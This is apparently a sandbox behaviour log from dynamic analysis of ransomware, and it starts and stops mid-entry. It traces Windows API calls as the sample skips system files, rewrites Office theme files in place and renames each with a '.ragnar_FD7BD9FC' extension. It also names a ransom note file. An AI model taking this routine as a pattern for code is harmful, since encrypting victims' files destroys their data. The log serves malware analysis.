(lpString1="Opulent.eftx", lpString2="bootmgfw.efi") returned 1 [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="desktop.ini") returned 1 [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="iconcache.db") returned 1 [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="ntldr") returned 1 [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="ntuser.dat") returned 1 [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="ntuser.dat.log") returned 1 [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="ntuser.ini") returned 1 [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="thumbs.db") returned -1 [0094.098] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.098] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.098] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.098] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.099] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.099] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.099] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 0x20 [0094.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.100] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32857) returned 1 [0094.100] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x8050, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.100] GetProcessHeap () returned 0x580000 [0094.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.100] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.101] VirtualAlloc (lpAddress=0x0, dwSize=0x8059, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.101] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.101] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.102] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8059, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8059, lpOverlapped=0x0) returned 1 [0094.103] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.103] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8059, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.103] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8059, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8059, lpOverlapped=0x0) returned 1 [0094.103] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8059, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.103] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.103] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x8059, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.103] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.103] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.104] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.104] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.104] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.104] GetProcessHeap () returned 0x580000 [0094.104] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.104] CloseHandle (hObject=0x98) returned 1 [0094.104] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" [0094.104] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.ragnar_FD7BD9FC" [0094.104] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.105] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcae00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x24fcae00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa8b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.eftx", cAlternateFileName="ORIEL~1.EFT")) returned 1 [0094.105] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.105] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Oriel.eftx" | out: lpString1="Oriel.eftx") returned="Oriel.eftx" [0094.105] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned=".eftx" [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="autorun.inf") returned 1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="boot.ini") returned 1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="bootfont.bin") returned 1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="bootsect.bak") returned 1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="bootmgr") returned 1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="bootmgr.efi") returned 1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="bootmgfw.efi") returned 1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="desktop.ini") returned 1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="iconcache.db") returned 1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="ntldr") returned 1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="ntuser.dat") returned 1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="ntuser.dat.log") returned 1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="ntuser.ini") returned 1 [0094.105] lstrcmpiW (lpString1="Oriel.eftx", lpString2="thumbs.db") returned -1 [0094.105] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.105] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.105] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.105] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.105] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.105] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.105] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 0x20 [0094.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.107] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=43193) returned 1 [0094.107] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xa8b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.107] GetProcessHeap () returned 0x580000 [0094.107] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.107] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.109] VirtualAlloc (lpAddress=0x0, dwSize=0xa8b9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.110] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.110] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.110] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa8b9, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa8b9, lpOverlapped=0x0) returned 1 [0094.111] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.111] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa8b9, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.111] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa8b9, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa8b9, lpOverlapped=0x0) returned 1 [0094.112] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa8b9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.112] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.112] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xa8b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.112] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.112] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.112] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.112] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.112] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.112] GetProcessHeap () returned 0x580000 [0094.112] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.112] CloseHandle (hObject=0x98) returned 1 [0094.112] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" [0094.113] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.ragnar_FD7BD9FC" [0094.113] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.113] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28903500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28903500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.eftx", cAlternateFileName="ORIGIN~1.EFT")) returned 1 [0094.113] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.114] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Origin.eftx" | out: lpString1="Origin.eftx") returned="Origin.eftx" [0094.114] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned=".eftx" [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="autorun.inf") returned 1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="boot.ini") returned 1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="bootfont.bin") returned 1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="bootsect.bak") returned 1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="bootmgr") returned 1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="bootmgr.efi") returned 1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="bootmgfw.efi") returned 1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="desktop.ini") returned 1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="iconcache.db") returned 1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="ntldr") returned 1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="ntuser.dat") returned 1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="ntuser.dat.log") returned 1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="ntuser.ini") returned 1 [0094.114] lstrcmpiW (lpString1="Origin.eftx", lpString2="thumbs.db") returned -1 [0094.114] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.114] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.114] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.114] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.114] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.114] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.114] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 0x20 [0094.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.115] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=40941) returned 1 [0094.115] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x9fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.115] GetProcessHeap () returned 0x580000 [0094.116] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.116] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.117] VirtualAlloc (lpAddress=0x0, dwSize=0x9fed, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.117] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.117] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.117] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9fed, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9fed, lpOverlapped=0x0) returned 1 [0094.118] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.119] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9fed, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.119] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9fed, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9fed, lpOverlapped=0x0) returned 1 [0094.119] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9fed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.119] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.119] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x9fed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.119] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.119] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.120] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.120] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.120] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.120] GetProcessHeap () returned 0x580000 [0094.120] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.120] CloseHandle (hObject=0x98) returned 1 [0094.120] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" [0094.120] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.ragnar_FD7BD9FC" [0094.120] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.121] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bf0a20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x37d8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.eftx", cAlternateFileName="PAPER~1.EFT")) returned 1 [0094.121] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.121] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Paper.eftx" | out: lpString1="Paper.eftx") returned="Paper.eftx" [0094.121] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned=".eftx" [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="autorun.inf") returned 1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="boot.ini") returned 1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="bootfont.bin") returned 1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="bootsect.bak") returned 1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="bootmgr") returned 1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="bootmgr.efi") returned 1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="bootmgfw.efi") returned 1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="desktop.ini") returned 1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="iconcache.db") returned 1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="ntldr") returned 1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="ntuser.dat") returned 1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="ntuser.dat.log") returned 1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="ntuser.ini") returned 1 [0094.121] lstrcmpiW (lpString1="Paper.eftx", lpString2="thumbs.db") returned -1 [0094.121] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.121] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.121] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.121] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.121] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.121] 